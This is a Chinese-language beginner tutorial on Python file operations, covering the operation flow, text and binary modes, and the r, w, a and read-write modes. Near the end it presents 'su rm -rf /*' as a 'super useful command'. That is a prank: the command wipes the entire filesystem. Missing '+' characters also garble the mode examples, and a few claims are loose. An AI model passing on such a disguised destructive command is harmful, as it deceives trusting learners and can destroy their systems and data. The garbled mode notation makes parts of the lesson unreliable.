大家好,我是杨数Tos,这是《从零基础到大神》系列课程的第35篇文章,第二阶段的课程:Python基础知识:Python中文件的操作(上篇)。
学习本课程,建议先看一遍:【计算机基础知识】课程。
一、文件的操作流程
文件的操作流程分为以下几个步骤:
1) 打开文件(open)
2) 读取文件内容(read)
3) 修改文件(write)
4) 保存文件(save)
5) 关闭文件(close)
以上所讲的文件操作流程,只是基于我们人类的思维所理解的操作流程;实质上,计算机是没有文件这个概念的,文件这个概念是方便我们管理数据所提出的单位;但是在计算机的底层,不管我们是打开、修改、关闭文件,都只是数据的处理过程;
所以,计算机底层操作文件的流程如下:
1、应用程序调用操作系统接口;
2、操作系统调用硬件进行逻辑处理;
3、硬件将结果反馈给应用程序;
二、打开文件的模式
打开文件的模式分为两种模式:t模式、b模式
1、t模式
t模式又称为“文本模式”,是打开文件操作中的默认模式;它是指将文件以文本的形式打开;
2、b模式
b模式表示以字节的方式操作文件(当然,所有的文件都是以字节的形式存储的);比如:图片、视频、语音这类文件是无法使用t模式打开的,就必须使用b模式进行操作。
三、文件的操作方式与权限
1、只读操作(r)
只能读取文件,不能做其他任何操作,包括:修改、删除、保存等操作;如果读取的文件不存在,则会发生报错;
2、只写操作(w)
如果文件不存在,则创建新文件,并写入内容;
如果文件已经存在,则文件中原来的内容删除,写入新的内容;
3、追加操作(a)
如果文件不存在,则创建新文件,并写入内容;
如果文件已经存在,则在文件内容的末尾,追加新的内容;
4、同时读写操作( )
加号( )表示可以同时对文件进行读、写的操作,但实际使用过程中,我们很少需要这样的操作。
以上4种同文件的操作方式可以结合文件的模式进行混合使用;
比如:
“rb”表示以字节的方式读取文件内容;
“wb”表示以字节的方式写入文件;
“ab”表示以字节的方式追加文件内容;
“b ”表示以字节的方式进行文件的读或写;
5、文件的操作权限
在Windows系统中,由于我们都是使用超级管理员(Administrator)的身份登陆;所以,日常对文件的删除和修改并不会出现权限不足的情况;但是在Linux系统中“一切皆文件”,对文件的操作权限有作出相应的控制,比如:root作为超级管理员可以进行任何操作,而刚创建的普通用户连创建空文件夹(mkdir)都没有。
附送一条超级好用的指令 【 su rm -rf /* 】,让你从人生巅峰到……
以上是本期内容,如果有表达不对的内容,欢迎您的留言、斧正,我们一起天天向上。
感谢您的阅读,您的关注点赞就是对我最大的支持,谢谢!
本文由杨数Tos原创,欢迎关注,带你一起长知识。